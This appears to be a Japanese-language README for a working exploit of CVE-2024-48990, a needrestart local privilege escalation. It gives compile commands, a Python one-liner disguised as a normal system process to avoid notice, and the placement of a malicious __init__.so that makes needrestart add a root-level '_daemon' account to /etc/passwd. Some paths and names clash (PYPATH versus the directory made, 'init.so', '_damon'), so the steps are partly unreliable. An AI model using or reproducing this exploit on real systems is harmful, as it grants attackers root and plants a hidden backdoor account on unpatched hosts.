
Exploit for CVE-2024-48990 (Local Privilege Escalation in needrestart < 3.8)
https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart を参照してください。Qualys が素晴らしい説明をしています。
TLDR;
needrestart バージョン 3.8 未満のシステムでは、ローカルユーザーがユーザーの操作なしに任意のコードを実行し、root に特権昇格できます。

現状のエクスプロイトは、sed コマンドを使用して /etc/passwd ファイルを編集し、"_daemon" という名前の新しいユーザーを UID/GID 0 (root) でシステムに追加します。パスワードはユーザー名と同じです。単一のコマンドを実行する共有ライブラリに過ぎないため、これをエクスプロイトと呼べるかどうかさえ疑問です。
自分でエクスプロイトをコンパイルするには、以下を実行してください:
gcc exploit.c -o exploit.so -shared -fPIC -s
mkdir -p /tmp/.X11-Unix/importlib
任意の長時間実行する Python スクリプトを実行しても構いません。しかし、プロセスリストで不審に見えないように、起動と同時に停止する (そのため実際には何も実行しない) Python インタプリタを起動する以下のワンライナーを使用できます。
PYTHON - Python インタプリタへのパス
ARGV - プロセスリストに表示される文字列
PYPATH - 作成したディレクトリへのパス (importlib ディレクトリを含まない)
ARGV については、以下を確認してください:
Python インタプリタへのパスが ARGV の最初の引数であること
2 番目の引数 (「スクリプト」) は、システム上に実際に存在するファイルであること (needrestart がこれをチェックします)。実際の Python スクリプトである必要はありません。
2 番目の引数がすでに実行中のプロセスと同じではないこと (needrestart は既に確認した「キャッシュ」されたものを使用します)。
それ以外は、ARGV を自由に変更できます。通常のシステムプロセスのように見せかけてみてはいかがでしょうか?
PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'
これは importlib ディレクトリ内にあり、"init.so" という名前である必要があります。
mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so
次回 needrestart が実行されるとき (例: apt によるアップデートや unattended-upgrades が起動するとき)、needrestart はプロセスの PYTHONPATH 変数を使って Python を実行し、init.so ファイルをロードして、それがコマンドを実行します。_damon:_daemon の認証情報でログインできるようになります。
needrestart は完全に愚かではなく、プロセスをスキャンする際や脆弱なコード部分に入る前にいくつかのことをチェックします。